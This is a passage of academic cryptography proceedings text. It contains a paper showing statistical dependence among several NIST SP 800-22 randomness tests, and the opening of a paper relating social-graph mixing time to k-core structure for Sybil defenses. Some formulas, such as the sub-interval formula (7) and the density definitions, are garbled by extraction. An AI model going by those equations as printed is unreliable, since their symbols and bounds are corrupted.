the idea in [9], we get an improved result on reduction from Search SVPα to
Optimization SVPα∗ and a reduction from Search CVPα to Optimization CVPα∗ .

Acknowledgements. We thank the anonymous referees for their suggestions on how
to improve the presentation of this paper.
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Abstract. This paper discusses the correlation of the randomness tests.
In this paper, we propose a new general method to evaluate the cor-
relation of randomness tests. Firstly, we deduce the distribution that
independent randomness tests should obey, then evaluate whether the
randomness tests are independent or not based on hypothesis test. Using
this method, we research the correlation of some statistical tests included
in the NIST SP 800-22 suits, which is a collection of tests for the eval-
uation of both true random and pseudorandom number generators for
cryptographic applications. Our experiment results show that some cor-
relations of dependent exist among the randomness tests, which is differ-
ent from the declaration that the randomness tests are independent by
NIST. Moreover, the method we proposed also can be used in the study
of parameter selection in randomness tests.

Keywords: Statistical test · Correlation of randomness tests · Hypoth-
esis test · NIST SP 800-22

1 Introduction

Random numbers play an important role in many cryptographic applications
such as key generation, authentication protocols, digital signature schemes, zero-
knowledge protocols, etc. Using weak random numbers may result in an adver-
sary ability to break the cryptosystem. The word “random” can be defined as
the result of the flips of an unbiased “fair” coin [1] with sides that are labeled
by “0” or “1”. The flips are independent of each other and each flip has a prob-
ability of exactly 1/2 of producing a “0” or “1”. All elements of the sequence
are generated independently of each other regardless of the number of elements
produced. Obviously, the use of unbiased coins for cryptographic purposes is
impractical. But the unbiased coins can serve as a benchmark for the evaluation
of true random number generators (TRNGs) and pseudorandom number gener-
ators (PRNGs), which are two basic types of generators used to produce random
number sequence in practical application.

The best way to generate unpredictable random numbers is to use physi-
cal processes. But generating random numbers by physical processes often is

Y. Kim et al. (Eds.): WISA 2013, LNCS 8267, pp. 52–62, 2014.
DOI: 10.1007/978-3-319-05149-9 4, c© Springer International Publishing Switzerland 2014
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inefficient. So, most systems use PRNGs based on deterministic algorithms.
Desired properties of PRNGs are [2]:

(i) good randomness properties of the output sequence;
(ii) reproducibility;
(iii) speed or efficiency;
(iv) large period.

A theoretical proof for the randomness of a generator is hard to give, so
statistical inference based on observed sample sequences produced by the gen-
erator seems to be a good option. Considering the properties of binary random
sequences, various statistical tests can be designed to evaluate the assertion that
the sequence is generated by a perfectly random source. Statistical test is a classi-
cal approach to evaluate the random number generator through testing whether
an experimental set of data, output of the generator, fits with a given hypothesis.
The famous statistical test suites for randomness are NIST (National Institute
of Standards and Technology, America) test suite [3] (also noted as NIST SP
800-22), The BSI (Bundesamt fr Sicherheit in der Informationstechnik) test suite
[4,5], Marsaglia’s DIEHARD test suite [6], Crypt-X statistical test suite [7] and
so on. Each test suite defines a collection of randomness test algorithms to eval-
uate randomness of generators extensively. Among them, the NIST SP 800-22
is one of the best known statistical test suite. There are many research results
about this test suite [8–10] and the latest version of the suite consists of fifteen
randomness tests.

To have more confidence in the randomness of generators, coverage of test
suite should be as high as possible. On the other hand, as Soto stated in [3],
to achieve reliable results, the statistical tests in a suite should be independent.
There are some research results on independency of randomness test report that
there exist some dependency relation between the randomness tests. In [11], the
relation between approximate entropy, overlapping serial and universal test is
analyzed and highly correlated results are obtained using defective sources. In
[2] the concept of sensitivity is defined, and frequency, overlapping template,
longest run of ones, random walk height and maximum order complexity tests
are correlated for short sequences. Reference [12] gives the relation between
autocorrelation and binary derivation test, the result shows that autocorrelation
test is equal with binary derivation test in some specific parameters. Most of
the research achievements at present are aimed at the specific randomness test,
and the efficient and general method to evaluate the dependence between the
randomness test is still seldom.

In this paper, we propose a new general method to evaluate the relation
between randomness test. We deduce the distribution that two independent ran-
domness test should obey firstly, and then give a test algorithm to judge the
relation between randomness test based on hypothesis test. Using this method,
we research the correlation of some statistical tests. The experiment results show
that there are some correlations of dependent among the randomness tests used
in NIST test suite, which is different from the declaration that all the randomness
tests of SP 800-22 are independent by NIST.



54 L. Fan et al.

The organization of this paper is as follows. In Sect. 2, basic background
information about randomness tests is presented. In Sect. 3, a general method
to evaluate the relation between randomness test is proposed. In Sect. 4, we give
some experiment results. In the last section, we give some concluding remarks
and possible future work directions.

2 Randomness Test

Randomness test is a classical approach used to evaluate whether an experimen-
tal set of data fits with given hypothesis (the null hypothesis, usually indicated
with H0). For each test, a relevant randomness statistic must be chosen and
used to determine the acceptance or rejection of the null hypothesis. Under an
assumption of randomness, such a statistic has a distribution of possible values.

The basic procedure of a randomness test can be described as following:

(i) Firstly, giving a null hypothesis and an alternative hypothesis,
Null hypothesis H0: the statistics of sequence follow the reference distribu-

tion.
And the alternative hypothesis Hα: otherwise, the statistics of sequence

doesn’t follow the reference distribution.
(ii) Secondly, a test statistic value is computed on the sequence being tested.
(iii) Finally, compare the test statistic value and the critical value, which is

computed differently based on the null hypothesis. If the random assumption is
true, the test statistic value will have a very low probability of exceeding the
critical value. In the other words, if the test statistic value exceeds the critical
value, the null hypothesis for randomness is rejected.

There are several methods to compare the test statistic value and critical
value. The most popular method is p−value method. P −value is the probability
that a perfect random number generator would have produced a sequence less
random than the tested sequence. If a p − value for a test is determined to be
equal to 1, then the sequence appears to have perfect randomness. A p−value of
zero indicates that the sequence is completely non-random. A significance level
α can be chosen for the test. If p − value >= α, then the null hypothesis is
accepted. If p − value < α, then the null hypothesis is rejected. The significance
level usually is a very small real number, for example, α is 0.01 or α is 0.001.

In practical test, a set of data will be tested and a set of p − values will
be achieved. There are many ways to interpret the empirical results. For the
interpretation of empirical results, NIST adopts two evaluation approaches:

(i) proportion of sequence passing.
Given the empirical results for a particular statistical test, compute the pro-

portion of sequences that passing the test. The range of acceptable proportions
is determined using the confidence interval defined as

(1 − α) − 3
√

α(1 − α)/m (1)

Here, α is the significance level, and m is the sample size.
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(ii) uniform distribution of p − values.
Besides, the distribution of p− values is examined to ensure uniformity. The

interval between 0 and 1 is divided into ten sub-intervals, and the p − values
in each sub-interval maybe approximately same. Uniformity may be determined
via an application of a test and the determination of a p−value corresponding to
the Goodness-of-Fit distribution test on the p − value obtained for an arbitrary
statistical test (that is a p − value of p − values).

Our research in this paper is related to the two evaluation approaches.

3 A General Method to Evaluate the Relation Between
Randomness Tests

In this section, firstly, we deduce the distribution of the p − values difference if
two randomness tests are independent. And then propose a general algorithm to
test the relation of randomness tests.

3.1 The p − value Distribution of Two Independent
Randomness Tests

When a sequence is tested by two different statistical tests, the results of them
will not influence each other if the statistical tests are independent. We denote
the two different randomness tests as TX and TY . The distribution of p −
values for random data set tested by TX is X, which probability density is
f(x). The distribution of p − values for random data set tested by TY is Y ,
which probability density is f(y).

Next, we deduce the distribution of Z = X − Y when TX and TY are
independent.

For random sequences, the distribution X of TX will follow the uniform
distribution of real number between 0 and 1. So, the probability density f(x) of
X is formula (2)

f(x) =

⎧
⎪⎛

⎪⎜

0, x < 0
1, 0 ≤ x ≤ 1
0, x > 1

(2)

Similarly, the probability density f(y) of Y is formula (3)

f(y) =

⎧
⎪⎛

⎪⎜

0, y < 0
1, 0 ≤ y ≤ 1
0, y > 1

(3)

The probability density f(w) of W = −Y will follow formula (4)

f(w) =

⎧
⎪⎛

⎪⎜

0, w > 0
1, −1 ≤ w ≤ 0
0, w < −1

(4)
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The distribution of p − values of randomness tests would be independent
if TX is independent with TY . That means random variables X and Y are
independent. And because W is linear with Y , So random variables X and
W are independent too. The probability density of the random variable Z =
X − Y = X + W is formula (5)

f(z) = fX ∗ fW =
⎝ ∞

−∞
fX(x) ∗ fW (z − x)dx (5)

Using the formulas (2) and (4), we can achieve formula (6) from (5):

f(z) =

⎧
⎪⎪⎪⎛

⎪⎪⎪⎜

0, z < −1
z + 1, −1 ≤ z ≤ 0
− z + 1, 0 ≤ z ≤ 1
0, z > 1

(6)

The derivation procedure above shows that, if the randomness test TX and
TY are independent, the distribution of difference of p − values for the two
randomness test should follow the distribution with probability density f(z).
The distribution function noted as F (z). Then we can judge whether any two
randomness tests are independent or not based on hypothesis test. Next sub-
section we should introduce the algorithm based on hypothesis test in details.

3.2 The Algorithm for Testing the Relation of Randomness Tests

Based on the derivation result of above sub-section, we propose a new hypothesis
testing method to test whether two randomness tests are independent or not.

First, we construct the null hypothesis as follows:
H0 : the distribution of difference of p − values conforms to the distribution

function F (z);
Accordingly, the alterative hypothesis is:
Hα : the distribution of difference of p − values does not conform to the

distribution function F (z).
Because every p − value is a real number between 0 and 1, so the difference

of two p − values is a real number between −1 and 1. The interval between −1
and 1 is divided into k sub-intervals, then the ith sub-interval is formula (7),

⎧
⎛

⎜

⎞
− 1 + 2∈(k−1)

k ,−1 + −1+2∈i
k

⎟
, i = 1

⎠
− 1 + 2∈(k−1)

k ,−1 + −1+2∈k
k

⎟
, 1 < i ≤ k

(7)

The probability of difference of p − value falling in the ith sub-interval is
formula (8)

Pi =
⎝ 1+ 2∗i

k

−1+
2∗(i−1)

k

f(z)dz (8)
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There are S samples, the number of them falling in ith sub-interval is Si, we
construct the statistic value as formula (9)

V =
t∑

i=1

(Si − S ∗ Pi)2

S ∗ Pi
(9)

If the null hypothesis is true, the value of V would be very small. The distrib-
ution of V should follow chi-square distribution with freedom k − 1 according to
Pearson chi-squared test. That is V follows χ2 distribution with freedom k − 1.

Next, we give the pseudo-code of the test algorithm. Our algorithm is divided
into two parts listed as CT − single and CT − total.

CT − single :
Input :
seqn[] : the sequence with length of n bits, and the number of sequences is

S;
TX, TY : Two randomness tests to be tested whether they are independent;
αT : Significance level;
K : The interval between -1 and 1 is divided into K sub-intervals.
Output :
If the result is 1 then TX and TY is independent for this test.

CT-single: Single-Sample-Test(TX, TY, seqn[], S, αT , K)

Step1. for the ith (0 < i < S)sequence in seqn[] do:
step1.1. test the sequence using TX ;

PvalueX[i] := TX(Seqn[i]);
step1.2. test the sequence using TY ;

PvalueY [i] := TY (Seqn[i])
step1.3. Compute the distance of pvalue;

ΔP = PvalueX[i] − PvalueY [i];
step1.4. if −1 ≤ ΔP ≤ −1 + 2/K then S1 + +

else if −1 + 2(i − 1)/K < ΔP ≤ −1 + 2i/K
then Si + +

step2. compute V =
∑K

i=1
(Si−S∗Pi)

2

S∗Pi
;

step3. compute PT = Igamc((k − 1)/2, V/2);
Here Igamc is incomplete Gamma function used to compute p − value

step4. if PT > αT then return 1;
else return 0.

Accepting the null assumption H0 or not is a probability incident because
the test is a hypothesis statistical test. In other words, the CT − single is a
probability method. We reduced the error by multiple tests. And using the per-
centage of passing to evaluate whether the randomness tests are independent or
not. We repeat t times CT − single in order to reduce the error rate.

CT − total :
Input :
seqn[] : the sequence with length of n,and the number of sequences is S ∗ t;
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TX, TY : Two randomness test to be tested whether they are independent;
αT : Significance level;
K : The interval between -1 and 1 is divided into K sub-intervals;
t : repeat the CT − single t times;
Output :
Percentage of the success of CT − single.

CT-total: Independence-Statistics-Test(TX, TY, seqn[], S, αT , K, t)

Step1. Set passnum=0;
Step2. For i = 1 to t do

Apply CT-single (TX, TY, seqn[], S, αT , K);
here, the sequences seqn[] are from (i − 1) ∗ S to i ∗ S;
If the result of CT-single is 1 then passnum + +;

Step3. Compute the success percentage sucper
sucper = 100 ∗ passnum/t;

Step4. return sucper.

3.3 Algorithm Complexity Analysis

In this subsection, we analysis the complexity of our method.
For CT-single algorithm, in Step1 TX and TY are called S times respec-

tively. Here, TX and TY are different randomness test algorithms. In Step3,
the incomplete Gamma function Igamc is called one time. The total execution
time is the summation of S times TX, S times TY, one time Igmac function and
S times real number subtraction and integer addition. So the execution time is
related with the specific randomness test algorithm TX and TY . We denote Ca

and Cb as the complexity of TX and TY , So the the complexity of CT-single is
approximately O(S*max[Ca,Cb]).

CT-total algorithm is implemented by multiple(t times) calling CT-single.
So the complexity of our method is O(S*t*max[Ca,Cb]).

4 Correlation Analysis on the NIST SP 800-22

In this section, we study the relations among some randomness tests included in
NIST test suite using the proposed method in above section.

4.1 Experiment Procedure

The randomness test items studied are listed in Table 1.
Here, the interval from −1 to 1 is divided into 10 sub-intervals. And the

probability of each sub-interval listed in Table 2 can be computed by formula (8).
Our experiment procedure can be described as follows:
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Table 1. The ID of randomness test in our experiment

Randomness test Test id Randomness test Test id

Monobit 1 Universal statistical 7
Block frequency 2 Approximate entropy 8
Cusum 3 Serial 9
Runs 4 Linear complexity 10
Long runs of ones 5 Spectral DFT 11
Rank 6

Table 2. The probability of each sub-interval

Subinterval [-1,-0.8) [-0.8,-0.6) [-0.6,-0.4) [-0.4,-0.2)

Probability 0.02 0.06 0.1 0.14
Subinterval [-0.2,0) [0,0.2) [0.2,0.4) ([0.4,0.6)
Probability 0.18 0.18 0.14 0.1
Subinterval [0.6,0.8) [0.8,1.0]
Probability 0.06 0.02

(a) Producing a set of data as samples using random number generators.
Noted that, the base of our method is that the data source is perfect random
sequences. In this section, we choose some well-known good pseudorandom num-
ber generators such as G-DES, G-BBS, G-ANSI and G-SHA-1. In our experi-
ment, we generate 100 sets of data by each randomness generator. Each set
include 300 binary sequences and the length of each sequence is 1,000,000 bits.

(b) For any two different randomness tests TX and TY listed in Table 2, the
relations are computed by CT − single and CT − total. For each data source of
each random number generator, do (b.1) and (b.2)

(b.1) For each set of 300 binary sequences, compute the result of CT −single,
if the result is 1, then TX and TY is independent in this test.

(b.2) Repeat (b.1) 100 times and computer the success percentage using
CT − total ;

(c) Record the percentage result to form the relations of randomness test.

4.2 Correlation Analysis

From the experiment results we find that the dependency relation of randomness
test is not relate to the different random number generators. And we find that
there are some dependency between the randomness tests used in NIST SP 800-
22. Here, we only give the results of G-BBS as a representative in this section
taking into account too many results and limited space. Table 3 is the experiment
result by random number generator G-BBS.
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Table 3. Pass rate of independent test by sequences from G-BBS

test item ID 1 2 3 4 5 6 7 8 9 10 11

1 0 100 0 100 100 100 100 0 100 100 100

2 100 0 100 100 100 100 100 100 100 100 99

3 0 100 0 100 100 100 99 31 100 100 100

4 100 100 100 0 97 100 99 37 46 97 99

5 100 100 100 97 0 100 100 100 100 99 100

6 100 100 100 100 100 0 99 100 100 100 99

7 100 100 99 99 100 99 0 100 99 100 100

8 0 100 31 37 100 100 100 0 1 100 100

9 100 100 100 46 100 100 99 1 0 100 100

10 100 100 100 97 99 100 100 100 100 0 100

11 100 99 100 99 100 99 100 100 100 100 0

Table 4. Test result of the dependent randomness tests

Randomness test related randomness test
Monobit cusum, approximate entropy
Runs approximate entropy,serial
Approximate entropy monobit, cusum, runs, serial
Serial runs, approximate entropy

Table 3 shows that there are some related randomness test marked by gray
column. For example, momobit test is not independent with cusum test and
approximate entropy test. Serial test is dependent with several randomness tests,
which are monobit test, cusum test, autocorrelation test and runs test, etc. The
dependent randomness test listed in Table 4.

Next, we analysis the experiment results in details.
The interval [-1,1] is divided into 10 sub-intervals equally. In each test, we

record the number of sequences falling into each sub-interval and the number of
total sequence is 300. The result of each test form a line and the 100 lines is the
result of Fig. 1. The expected number of sequences falling into each sub-interval
should be 6, 18, 30, 42, 54, 54, 42, 30, 18, 6 individually by tabled 2. But the
experiments result deviated the expected number severely. For example in the
eighth, ninth and tenth sub-internals the experiment result almost are 0. And
in the sixth sub-interval the expected number should be 54. But the experiment
result in each time almost than 100. So, there are some relations between the
p-values of monobit test and cusum test and we can give the conclusion that the
two randomness tests are not independent with each other. The Fig. 2 shows the
similar result of the dependency between monobit test and entropy test.
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Fig. 1. Experiment result of monobit test and cusum test
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Fig. 2. Experiment result of monobit test and approximation entropy test

5 Conclusion

There are many randomness tests at present and how to choose a proper ran-
domness test set in practical is a practical question. There are some research
about the independence of randomness test. Most of the research achievements
are aimed at the specific randomness test, and there are still not a very pow-
erful general method that can be used to evaluate the dependence between the
randomness test. In this paper, we propose a new general method to evaluate
the relation between randomness tests. Firstly, we deduce the distribution that
two independent randomness test should obey, then we give a test algorithm
to judge the relation between randomness test based on hypothesis test. Using
this method, we find some dependency in the randomness tests used in NIST
test suite, which is different from the declaration that the randomness tests are
independent by NIST.
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Although the independency of two randomness tests can be judged by our
method, it is hard to answer the question that which one is more powerful, which
is the main problem we tried to solve next. Moreover, the method we proposed
in this paper also can be used in the study of parameter selection in randomness
test.
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Abstract. Recent solutions to defend against the Sybil attack, in which
a node generates multiple identities, using social networks. In these solu-
tions, social networks are assumed to be fast mixing, and Sybil nodes—
which disrupt the fast mixing property of social networks—are detected.
Little is known about the cause of the mixing quality in social graphs, and
how to improve it in slow mixing ones. In this work we relate the mixing
time of social graphs to graph degeneracy, which captures cohesiveness
of the graph. We experimentally show that fast-mixing graphs tend to
have a larger single core whereas slow-mixing graphs tend to have smaller
multiple cores. We then propose several heuristics to improve the mixing
of slow-mixing graphs using their topological structures by augmenting
them. We show that our heuristics greatly improve Sybil defenses.

Keywords: Sybil attacks and defenses · Social networks · Mixing time

1 Introduction

The Sybil attack is a very challenging security threat in distributed systems.
In this attack, a single malicious node claims multiple identities with the inten-
tion of disrupting the normal operation of the distributed system by acting as
if she is multiple nodes [6]. To defend against this attack, there are two schools
of thoughts: centralized [3,4,6,30] and decentralized solutions [13,24,28,29]. In
the centralized solutions, a centralized authority is used to provide digital cre-
dentials, such as cryptographic keys, and to bind them to the identity of par-
ticipating nodes in the system. These credentials are then used to hold nodes
accountable to their actions. While effective, those solutions are expensive: (1)
they require an online authority that is hard to bring in distributed systems,
(2) the authority would rely on privacy-sensitive information, like an identifi-
cation number, physical address, and the like, and that would scare users away
from using the system, (3) the existence of the centralized authority is very chal-
lenging to the scalability and security of the distributed system in general; an
adversary would target that authority with attacks making it a potential bot-
tleneck. Accordingly, centralized solutions are impractical in largely distributed
systems.

Y. Kim et al. (Eds.): WISA 2013, LNCS 8267, pp. 65–80, 2014.
DOI: 10.1007/978-3-319-05149-9 5, c© Springer International Publishing Switzerland 2014
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Decentralized solutions replace the centralized authority with decentralized
mechanisms. Nodes in distributed systems oftentimes have physical resources
that are limited in nature, such as processing capabilities, memory, addresses,
and geographical location, and these can be verified by other nodes in the dis-
tributed system to establish the identity of that node. Solutions that rely on
those credentials overcome several of the shortcomings of the decentralized solu-
tions: no single point of failure, and (mostly) no privacy concerns associated with
the solution. However, these solutions work effectively on the premise that the
adversary has a user-level resources: a powerful adversary can easily surpass such
assumptions and gain control over more resources, thus bypassing the detection
mechanism and introducing more Sybil identities in the system.

Recent solutions to the problem use social networks and their fabric of
trust [4,10,15,17,28,29]. In such solutions, nodes are limited by their resources;
the number of edges they create with others. To make such identities well
enmeshed into the social graph, the adversary needs to create many edges
between himself and the rest of the social graph, collectively representing honest
users, which is associated with a high cost. Informally, many social network-based
designs to defend against the Sybil attack rely on the mixing characteristics of
social graphs for their operation. These designs assume that social networks are
fast mixing, meaning that a short random walk from any node in the graph after
a small number of steps will end up on a node that is randomly selected from the
entire graph. The introduction of large number of Sybil identities hidden behind
a few nodes that are connected by a few edges with the rest of the graph would
violate this property: the honest and dishonest parts of the graphs are slow mix-
ing. More formally, the prior literature on defending against the Sybil attack
makes the assumption that a random walk of O(log n) steps, where n is the
number of nodes in the social graph, is enough to obtain a sample that is driven
from a distribution close to the stationary distribution of the random walk.The
theoretical guarantees of Sybil defenses and their practicality rely greatly on
such parameters: the number of tolerable Sybil identities per an attack edge,
an edge connects an honest node with a malicious node, is proportional to the
random walk length that is considered the mixing time.

Researchers recently demonstrated that the mixing time of social graphs is
slower mixing used in the literature, and showed several immediate findings [22].
First, the theoretical guarantees that make use of certain qualities of the mix-
ing time of social graphs are inaccurate, since the property does not hold in
these graphs as being assumed. Second, although the mixing time is larger than
expected, Sybil defenses still work fairly reasonably on many of the graphs with
the relatively large mixing time, indicating that a more relaxed property than
the one used in the theoretical reasoning about the operation of Sybil defenses.
Finally, different graphs have different quality of the mixing time, and in cer-
tain graphs—which are mostly the result of face-to-face interactions—the slow
mixing prohibits the applicability of Sybil defenses on them [17,22].

The main intuition behind the quality of the mixing time is hypothesized to
be the community structure in them: whereas face-to-face graphs have slower
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mixing characteristics because of their clear community structure, online social
networks have faster mixing times because they are likely subject to noise and
weak social ties, resulting in flat and less clear community structures. However,
no prior work tested this intuition to show its validity in social networks used
for building such applications. Yet more importantly, no prior work used the
inherent properties of slower mixing social graphs to improve their mixing time,
and make them more suitable for such applications as Sybil defenses. To this end,
we set out to investigate the reasons why certain graphs are slower mixing than
others. We use our findings on why certain social graphs are slower mixing to
improve their mixing time, and thus improve the security of social network-based
systems when operated on top of them.

� Contributions. Motivated by the lack of prior work on understanding the
mixing time of social graphs, our contribution is two-fold. First, we explore
understanding the mixing time of social graphs by identifying why some social
graphs are fast mixing whereas others are slow mixing. We relate the quality
of the mixing characteristics of social graphs to the degeneracy (coreness) of
graphs: we find that whereas slow mixing graphs have multiple small cores,
fast mixing graphs have a single large core. Second, we use this observation
to propose several heuristics that utilize the structure of slow mixing social
graphs to augment them and to improve their mixing characteristics. We show
that the improvement in the mixing time affects Sybil defenses built on top of
social graphs. In one particular heuristics, we are able to reduce the overhead of
operating SybilLimit by more than 55 % and the security by more than 70 %.

� Organization. The rest of this paper is organized as follows. In Sect. 3,
we review preliminaries used in this work; including the graph model and the
formal definition of the mixing time, as long as the k-coreness, the main metric
used for understanding the mixing time. In Sect. 4, we present measurements on
relating the mixing time of social graphs to core structure followed by heuristics
to improve the mixing time in Sect. 5. Conclusion is in Sect. 6.

2 Related Work

To the best of our knowledge, there is no prior work on understanding the mix-
ing time, improving the mixing time of slow mixing social graphs, and studying
the impact of that on the operation of Sybil defenses, except for our prelimi-
nary work in [19] which is limited to the first part. Concurrent to this work,
rewiring of social graphs to improve the mixing time is proposed in [31], without
identify reasons why some social graphs are slow mixing, and without consider-
ing the context of Sybil defenses for the improvement. The rest of the related
work can be broadly classified into three veins: wok that investigated improving
Sybil defenses, although in different ways than our approach, related work on
measuring the mixing time, and work on building new Sybil defenses.

Our prior work in [17] improves the performance of Sybil defenses by account-
ing for trust, not the underlying honest social graphs: selection on nodes and
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edges in Sybil defenses are biased based on differential trust. Measuring the mix-
ing time and testing whether assumptions widely used for building Sybil defenses
are valid or not is studied in [22] and independently in [5], although findings and
conclusions of both studies are at odd. Looking into building tools to measure
the mixing time of directed graphs and the security implications on the operation
of Sybil defenses, as well as anonymous communication systems built on top of
social networks and using the mixing time, is done in [21]. Finally, mathematical
tools and theoretical bounds that characterize the mixing time and are used for
measuring it are proposed in [8,25].

As pointed out in the introduction, there has been several works on the design
of defenses that make use of the mixing time of social networks, some of which
use it directly and require some strict quality for their theoretical guarantees
to be achieved while others merely require it as a crude property to conceptu-
ally capture an identifying and distinguishing characteristic between Sybil and
honest nodes. Those works include [3,4,11,16,17,22,28,29], among others—an
interesting survey of such works is provided in [27]. Our findings in this paper,
although test on SybilLimit, are easily extendable to other designs. Indeed, our
heuristics provided in this paper do not alter the operation of SybilLimit, but
rather the underlying social graph to improve its mixing characteristics. To this
end, we expect that one can easily extend the results and findings on improving
the operation of other Sybil defenses using the same mechanisms.

3 Preliminaries

3.1 Graph Model

Let G = (V,E) be an undirected and unweighted graph over n vertices and
m edges, where the set of vertices V = {v1, v2, . . . , vn} and the set of edges
E = {eij} for every vi ⊕ vj (vi is adjacent to vj). For G, let P = [pij ]n×n be a
transition probability matrix s.t. pij = 1/deg(vi) if vi ⊕ vj (i.e., if eij ∀ E) and
0 otherwise. kx denotes a fully connected graph on x vertices.

� The mixing time. Informally, the mixing time is the length of a random
walk to reach a constant distance from the stationary distribution of that walk,
when starting from any node in the graph. The stationary distribution is defined
as a probability distribution for any node to be selected as the final node in a
random walk after an infinite number of steps. For the same graph defined above,
the stationary distribution is defined as δ = [δi]1×n, where δi = [deg(vi)/2m]
for 1 ≤ i ≤ n. Formally, the mixing time is defined as

T (α) = max
j

min
t

{t : ||δ − δ(j)P t|| < α}, (1)

where δ(j) is the delta distribution (also known as the Kronecker delta function)
concentrated on the j-th position in that vector. This is, δ(j) is defined as δ(j) =
β[x] where β[x] = 0 if x √= j and 1 otherwise, and the norm || · || in (1) is defined
as ||δ − δ(j)|| = 1

2

∑n
i=1 |δi − δ

(j)
i |.
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In the literature, two methods are used for measuring the mixing time of
social graphs. The first method uses the definition in (1); given that the mixing
time converges as the sample of the starting distribution increases, and because
the property of interest in many social network-based Sybil defenses is the dis-
tribution over α, rather than a fixed α as defined for the largest t in (1), one can
start from a random set of nodes and obtain different values of α as t increases.
The different values of α can be used to measure its distribution and characterize
the mixing time of social networks. On the other hand, the second method for
measuring the mixing time makes use of the second largest eigenvalue of the the
matrix P defined above, and only provides an upper and lower bound on the
mixing time as defined in (1).

Graphs are either fast or slow mixing depending on how quickly walks on
them reach the stationary distribution [22] (i.e., how large is t for a given α in
the model in (1)). It has been claimed that the mixing time does not relate to
any of the graph structural properties, making the mixing time interesting in
its own right [5]. We re-examine this claim, and find that mixing characteristics
of a graph are closely related to the core structure, which captures graph cohe-
siveness. We show that fast mixing graphs have large single core, whereas slower
mixing graphs have multiple small cores and use that observation to propose
several herustics to improve the mixing time.

3.2 k-Coreness
For the undirected graph G we defined in Sect. 3.1, let k be a parameter such
that k ← 1. We define the graph Gk = (Vk, Ek), where Vk = {vi

k, . . . , v
nk

k }, and
Ek = {eij} for all vi

k ⊕ vj
k ∀ Vk, to be a subgraph in G such that |Vk| = nk,

min{deg(vi
k)} ← k for all vi

k ∀ Vk. The subgraph Gk is said to be a k-core
of G if it satisfies the above degree condition, it is maximal in size, and it is
a connected graph. By relaxing the connectivity condition, we obtain a set of
cores (potentially more than one), each of which satisfies the degree condition.
For such k-core, we define the normalized size as sk = nk/n. Formally, Gk

consists of tk ← 1 components denoted as {G1
k, G

2
k, . . . , G

tk
k }. We denote nodes

that are in Gi
k as vi1

k , . . . , v
i|V i

k |
k . We refer to the largest connected Gi

k as the
major core and others for a given k as minor cores.

An example illustrating the definition stated above is shown in Fig. 1 of a
graph over 11 nodes and 14 edges, with a lowest degree of 1 and highest degree of
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Fig. 1. An illustration of the k−core decomposition of the graph. The original graph
G = G1 is shown in 1(a). Notice that G4 is an empty graph, which results from
trimming nodes in G3, which is shown in Fig. 1(c), with degrees ≤ 3.
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3, thus the k−core number of the graph is less than or equal to 3. By recursively
omitting nodes in G with degree less than or equal to 1, we get G2, shown in
Fig. 1(b). Similarly, omitting nodes with degree less than or equal to 2 in Fig. 1(b)
produces G3 shown in Fig. 1(c), which consists of two components, each of which
is a fully connected graph defined over 4 nodes. Given that they are equal in
size, either of the components can be considered as the major component, and
the other is considered as the minor component. Given that the highest degree
in G3 is 3 as well, the original graph has a maximum k of 3, and this dissolves
entirely when omitting nodes with degree less than or equal to 3. Computing the
k-cores of a graph for any k is done efficiently using off-the-shelf algorithms. An
efficient algorithm for decomposing a simple graph on m edges and n nodes to its
k−cores by iteratively pruning nodes with degree less than k has the complexity
of O(m) [2]. To this end, the overall complexity of running algorithms described
in the rest of this paper is linear in both the maximum k value and the number
of edges in the graph G. Finally, notice that the definition of k-core [14] is related
to k-coloring [7], and thus can be naturally connected to the connectivity of the
graph.

4 Measurements and Results

� Datasets. We use the datasets in Table 1 in our measurements. All of these
datasets are widely used as benchmarking graphs in the literature [3,12,18,19,
21]. The datasets DBLP, Physics 1, and Physics 2 are scientific collaboration
graphs, and can be considered of the same type, while Slashdot is a blog fol-
lowing graph, and Wiki-vote is wikipedia’s admin voting graph. In DBLP, nodes
represent authors while edges indicate that two authors have a co-authored paper
among them. The Slashdot dataset consists of users and as nodes and an edge
between two nodes indicates that the first node follows an article by the second
node (we omit directions as below). Finally, Wiki-vote is the wikipedia adminis-
trators voting dataset in which the first node has voted for the promotion of the
second node to become an administrator. Some of these datasets are directed
(i.e., Slashdot and Wiki-vote), so we follow the literature [3,12] and convert the
directed graphs to undirected ones, by considering an edge between two nodes
in the undirected graph if it exists in either direction in the directed one.

� Measuring the mixing time. We use the definition in (1) to compute
α for a varying t when starting walks from different nodes in the graph. For
feasibility, we sample the initial distributions of the walks: we start from 1000
uniformly distributed nodes in each graph and compute the mixing time as
per the definition in (1) and the average α for each walk length. The mixing
characteristics of these graphs are shown in Fig. 2—maximum in Fig. 2(a) and
average in Fig. 2(b).

For each graph in Table 1, we use an off-the-shelf linear-time algorithm [2]
to compute the k−core. As k increases to its ultimate value at which the graph
diminishes, we compute the following: (1) the number of cores in each k-core,
(2) the normalized size of each k-core. Results are shown in Fig. 3. Notice that
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Table 1. Datasets used in experimentation and validation.

Dataset # nodes # edges

DBLP 769, 641 3, 051, 127
Slashdot 70, 355 459, 620
Physics 2 11, 204 117, 619
Physics 1 4, 158 13, 422
Wiki-vote 1, 300 36, 529
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Fig. 2. Mixing time measurement of graphs in Table 1.

graphs in Figs. 3(a)-(b) are slow mixing and graphs in Figs. 3(c)-(d) are fast
mixing, as demonstrated in Fig. 2 for both the maximum and average mixing
time cases.

By comparing Figs. 3(a),(c),(d), we observe that slow mixing graphs are
less cohesive whereas fast mixing graphs are more cohesive. This observation
is reflected in the number of cores in the k-core of each graph as we increase k
until the graph is dissolved entirely. Also, whereas slow mixing graphs—shown
in Figs. 3(a) and (b)—are decomposed into multiple cores as we increase k, fast
mixing graphs resist this decomposition and remain cohesive as k increases, even
for larger k than in the slower mixing graphs.

Second, even though slow mixing graphs are decomposed into multiple cores,
these cores are relatively small in size and the graph dissolves quickly as k
increases. Fast mixing graphs on the other hand remain in a single core, which
is relatively larger in size than the counterpart core in slow mixing graphs.

5 Improving the Mixing Time and Sybil Defenses

With a different motivation, there has been several attempts in the literature
to design algorithms that improve the mixing time of random walks on social
graphs [1,9]. The main motivation of these designs is to provide a better method
for sampling large graphs and to obtain representative samples of the large popu-
lation in these graphs [9,18,23]. However, these solutions fall short in providing
the desirable features for Sybil defenses. For example, existing solutions that
improve the mixing characteristics of social graphs by providing uniform tele-
portation probability to any node in the graph at any step in the random walk
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Fig. 3. The core structure of slow mixing (3(a) and (b)) versus fast mixing (3(c) and
(d)) graphs. The slow mixing graph dissolves into multiple cores as k, the minimum
degree in the k−core algorithm increases, unlike fast mixing graphs which consist of a
single large core.

are expensive [1], since they require each node to know the entire social graph.
More importantly, these designs are impractical for Sybil defenses, which use
